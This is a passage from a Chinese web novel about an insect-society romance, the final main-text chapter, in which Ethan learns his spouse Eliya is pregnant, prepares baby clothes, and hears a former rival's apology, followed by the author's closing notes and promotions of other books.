专栏的其他几个预收应该都是小甜文,和这本风格一致的是《白熊先生恋爱了》,不过那本算主受,感兴趣的话可以蹲蹲~
爱大家,么么~《 》
【正文完】
第44章 第 44 章 幸福吧!少年……
直播间的动荡伊森完全不知道, 他满脑子都是找到埃里亚。起身后的第一件事就是冲出房间,一路直奔大门。
直到跑过一层又一层楼梯到大门前,看见室外喷泉时, 他才清醒过来似的停下脚步。
“我是傻了吗, 直接用光脑联系啊!”
伊森想要编辑信息, 但临到头却不知道说些什么, 一段话删删改改无数遍, 甚至打字的双手都在颤抖。
打不好字,要不打语音吧?
可埃里亚在工作, 还是议会那种正式的地方,会不会打扰到对方?
【伊森, 随时联系我,只要你需要。】
想起埃里亚的话, 他放下纠结,径直拨通了语音。
活泼的音乐响起, 从大门飘进伊森的耳朵里,和光脑里的声音重叠在一起。
伊森抬头,心心念念的雌虫就站在门口, 朝他露出一个笑:“我在这里, 伊森。”
“啪!”
光脑掉在地上,但他没有管, 飞快朝前方的身影扑过去。
“埃里亚!”
在雌虫颈窝蹭了蹭,伊森抬起头, 声音有些结巴:“那个…那个…珀说…直播间说…我,我,你,你…你是不是…我们…”
雌虫温柔地将他的金发拂至耳后, 温声道:“是的,我怀孕了。”
伊森感觉脑子有点晕,眼前似乎出现许许多多红色小花,蹦蹦跳跳的,好像在庆祝似的。
“伊森,你要当雄父了。”
红丝小花越来越多,铺天盖地的仿佛要将他淹没。
伊森闭上眼,埋进自家雌虫怀里,缓了好一会儿,才用有些颤抖的声音说:“埃里亚,我觉得有些不真实。”
“哪里不真实。”埃里亚捧起他的脸,“看着我伊森。”
他听话地抬头,对上雌虫那双沉稳又坚定的眼睛。
“你是我的雄虫,我们结婚了,并且即将拥有一个虫崽。”
“这就是真实。”
雌虫的声音将伊森从云端拽回地面,心忽然踏实下来。
是的,一切都是真实的。
他在新的世界拥有了爱他的伴侣,并且即将拥有一个孩子。
他圈住雌虫的脖子,忍不住感慨:“埃里亚,我觉得我好幸运,能拥有现在生活。”
对方亲了亲他的眼睛,问:“像现在这样就行了吗?”
“嗯!”伊森用力点头,“我已经足够幸福,太贪心的话是会被收走幸运的。”
“不会。”
“嗯?”
埃里亚低头吻上雄虫的唇,轻声道:“伊森,幸运会一直眷顾你。”
他会让他的雄虫永远幸运。
他会让他的雄虫永远幸福。
*
自从知道埃里亚怀孕了,伊森瞬间进入打鸡血模式,他觉得自己应该承担起雄父的责任,要在这段时间照顾好雌虫,以及即将出生的幼崽。
可事与愿违,大概是压力太大,他时不时想起蓝星上那些一尸两命、产后虚弱的案例,焦虑的出现失眠症状。
结果就是他一点没照顾埃里亚,反而需要怀孕的埃里亚照顾生病的他。
伊森:QwQ
失落了一个晚上,伊森接受了自己是个小废物的事实,没再想些有的没的。他转换思路,开始想给他的孩子做点什么。
他决定为自己的孩子亲手编织出生后的衣物。
他把自己的想法告诉了埃里亚,对方十分支持,并且提供了一批据说十分适合新生儿衣服的制作原料。
伊森不知道那堆原料的价值,但直觉告诉他一定非常贵。
不过现在的他已经是个合格的“捞虫”了,能够毫无负担地使用埃里亚给他的所有东西,即便将那批原料全都报废也不会感到惶恐。
当然,作为一个手工区主播,他技术不错,报废率很低。
欣赏着新做好的帽子,伊森忍不住笑道:“希望宝宝会喜欢我送他的礼物。”
【绝对会喜欢的!】AI管家的情绪价值一直给的很足,不遗余力地夸赞:【小森世界第一棒!幼崽一定会喜欢的!】
“嘿嘿~”
心情愉快地将制作过程上传到星网,伊森清点着堆在面前的布料,准备做些其他东西。
前段时间的掉马让他备受关注,最近他都不敢直播,甚至连星网都暂时戒掉,但制作过程却一个没落的全部上传。
每上传一个视频,似乎就离宝宝出生的时间近一点。
他很享受这份等待的过程。
在脑海里打了个草图,伊森拿出纸笔开始画图样,画着画着,一道阴影落在桌面上。
今天天气不错,他没待在工作间,而是在花园亭子里。可即便不在工作间也不会有虫会在他认真“工作”的时候来打扰他。
抬起头,伊森看见一个还算熟悉的面容。
“阿列克斯?”
在圣殿中差点被这只雌虫“绑架”后,对方就被愤怒的家长打包领走,之后爱德里安家族给他送了许多赔偿礼物。
大概是阿列克斯在他心里和“蠢”字画上了等号,他对这只雌虫其实没有太大恶感。
不过会在自家庄园里见到对方还是让他感到惊讶。
伊森下意识以为,出了那样的事情,埃里亚应该不会再让阿列克斯出现在他面前。
所以是他感觉错了?
天啦,他潜意识里居然把埃里亚当做小心眼的雌虫吗?
他真是太坏了!
狠狠唾弃了一把自己,伊森稳住心神,问:“你怎么会出现在这里?埃里亚呢?”
“他在和我的雄父商议一些事情。”
阿列克斯自觉在无虫的石凳上坐下,而后安静下来,和之前表现出的咋呼完全不同。他的手肘撑在石桌上,眼睛一眨不眨地盯着面前的雄虫,直到把对面盯着有些难受,拿着材料准备跑路时才说:“我想和你说点事情。”
顿了顿,他补充道:“埃里亚·雷蒙德同意了。”
或许是他提到了埃里亚,金发雄虫停下收拾东西的动作,说:“好吧,既然埃里亚都开口了,那一定是有重要的事情。所以你想和我说什么呢?”
这配合的模样让阿列克斯感到一阵憋屈,他暂时忘记自己想说的事情,问:“星网上的事,你是故意的吗?”
金发雄虫在直播间露脸后,在某些虫不那么走心的遮掩下,身份很快被扒了出来。同时被扒出来的还有他和埃里亚·雷蒙德的相爱路程。
当事虫没有承认,反而在有意无意的“压消息”,爆料虫却一个接一个冒出来。
或是网红小店的店主发出的打卡照片,或是自称雄保会回访工作虫员发出的回访照片,或是意外撞见过当事虫的路虫…
总之,在大家的齐心协力下,一个美好又温暖的爱情故事被拼凑了出来。
当网友们的注意力被所谓的“爱情故事”吸引时,直播平台上的某个私虫账号被扒出是当事雄虫的小号,账号上时不时发布一些未经剪辑的小视频。
是雄虫做手工的视频,画面里只露出一双手,大部分时候都是无声的,偶尔会响起模糊的自言自语或者与某只雌虫对话的声音。
很普通的视频。
但就是这种可以说粗糙的视频向大家展示了一对夫夫对幼崽的全部期待,那份温柔透过视频传递出来,让所有观看的虫都感受到。
然后大家忽然发现,即便是身居高位的高等雌虫,即便是养尊处优的雄虫,在迎接即将到来的新生命时,和普通虫也没什么两样。
回过神来,埃里亚·雷蒙德迅速以一种亲切的形象被大众接受,从高高在上的“圆桌议员”和距离遥远的“英雄”变成了身边的某只虫,无声渗透进每只虫心里。
不仅如此,雄虫的视频还带动了广大网友对埃里亚·雷蒙德肚子里幼崽的期待。这种时候,要是出现半点闪失都会引起民愤,直接让那些不满对方上位,想要下黑手的虫收敛起来。
这一系列变化都要追溯到雄虫不小心撞翻了直播镜头。
阿列克斯盯着面前的金发雄虫,很想知道对方当初是不是故意的,或者说…有没有得到某只雌虫的授意。
但对上雄虫懵逼的视线,他放弃了。
他早该想到,某只雄虫根本没那个脑子。就算真有其他虫授意,对方也察觉不出来。
“没事,当我瞎说吧。”阿列克斯不再想东想西,十指交叉,眼睫下垂,语气有些惆怅:“我想和你说的是…你还记得兰珈·威尔逊吗?他曾和你一起参加花车巡游。”
得到雄虫点头后,他继续道:“兰珈和我的朋友科温是未婚夫夫,当时去参加花车巡游也是因为吵架,之后又和好了。我以为很快会接到他们结婚的消息,但就在三天前…科温告诉我他们取消婚约了。”
“取消婚约的原因是兰珈发现科温在接触一些家族,提前帮他物色雌侍。他们大吵一架后兰珈住进了圣殿,似乎和威尔逊家族都闹崩了。”
“当然,取消的是和兰珈的婚约,和威尔逊家族的婚约依旧作数,只是换成了另一只雄虫。你应该也认识,拉斐尔,当初也参加了花车巡游。”
“科温说虽然拉斐尔等级差一些,但也是威尔逊家嫡系,并且雌父一脉势力更大,虽然对虫崽等级有些影响,但他管不了以后,毕竟他们二军最近正在换届期,他需要足够的资源支撑他顺利上位。”
“我觉得有些荒谬,我一直以为兰珈和科温是相爱的,我没想到他们会就这样分开…你懂我的意思吗?”
金发雄虫点头又摇头,眼里写满了迷糊,但还是说:“所以你找我是想让我站在雄虫的角度帮你分析一下朋友间的感情问题吗?”
阿列克斯:“…”
阿列克斯:“我的意思是,如果你遇到像科温一样的雌虫,你会怎么办?”
“可我不会呀。”金发雄虫说:“埃里亚和你的朋友可不一样。”
阿列克斯咬咬牙,继续道:“我的意思是,如果日后你…”
“阿列克斯,你真的是为了我好吗?”雄虫打断了他的话,这似乎是性格柔软的雄虫第一次这样强硬地打断他,“我相信你没有恶意,但我觉得你从未认真倾听过我的声音。现在,我再说一次——”
雄虫用那双清澈透亮的眼睛看着他,认真道:“我很幸福。”
阿列克斯的脑海中闪过珀对他的警告——
【不要把伊森当做蠢货。你真以为他什么都不知道吗?】
他哑口无言。
他想和埃里亚·雷蒙德较量,他觉得和等级下跌的雌虫比力量胜之不武,所以自顾自地将雄虫当做较量的“工具”。
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同样的情况,自己和雌父被雄父抛下,凭什么埃里亚·雷蒙德能幸免?
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阿列克斯低头道歉,真正认真地看向面前的雄虫。
雄虫很漂亮,时不时因为害羞说不出话,却能靠自己努力生活,既不物质也不虚荣。脑子笨笨的,被骗了也不会生气,但并不让虫讨厌。
这是一只和雄父完全不同的雄虫。
阿列克斯忽然产生了解雄虫的强烈欲望:“我为我过去的行为道歉,以后我可以…”
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阿列克斯知道。
若是以往他或许会因为被对方当成“小孩子”大闹一番,但被狠狠收拾一顿的他总算学会了冷静。
这段时间不仅是他,连爱德里安家族和他的雄父都受到了影响。这份动荡让他真正意识到,埃里亚·雷蒙德到底拥有多大的能量。
曾经他自傲于S级的等级和无与伦比的战斗天赋,可拥有这些的他却无力阻止埃里亚·雷蒙德的发难。
本来还想最后挣扎一番在雄虫身上扳回一局,但现在看来他输得彻底。
怪不得埃里亚·雷蒙德那么大方地答应了他和雄虫最后聊几句的请求,想来是对结局早有预料。
那家伙其实是在对他炫耀吧?
“我们该走了,阿列克斯。”
布兰登拍了拍孩子的后背。
顺着孩子的视线,他看向姿态亲昵的两只虫,毫不留情道:“别想了。阿列克斯,你没有机会。”
阿列克斯:“雄父,我没有。”
“好吧,你没有。”布兰登微笑着,示意孩子跟上自己的脚步,“走吧,当心某个家伙忍不住再使点手段,到时候你在边境星的服役时间可就不止二十年了。”
阿列克斯:“…”
阿列克斯:“您似乎很看好他和伊森的感情。”
布兰登:“毕竟他们看上去很幸福。”
年轻的雌虫没有接话,但某个瞬间,他对从小视作目标的那只雌虫产生了名为羡慕的情绪。
在相反的方向,金发雄虫牵着自己的雌君,一蹦一条地沐浴在阳光里。
他眯了眯眼睛,感慨道:“这样的日子真幸福啊~”
他的雌君笑眯眯回道:“是啊,真幸福。”
因为如此幸福,所以雌虫并未如自己威胁政敌时说的那般让“堕化”的政敌杀死家虫,而是干脆利落地送对方上了西天。
潘多拉的魔盒没有打开,某些原则没有打破。
反派觉得现在的生活不错。
反派他不想毁灭世界——
作者有话说:故事到这里就告一段落啦,在作者没有写下的时间线里,主角们会一直幸福下去~
正文告一段落,下章是番外,关于崽的~
顺便推推预收《重生,替身最好的医美》,换个口味的主角~
专栏的其他几个预收应该都是小甜文,和这本风格一致的是《白熊先生恋爱了》,不过那本算主受,感兴趣的话可以蹲蹲~
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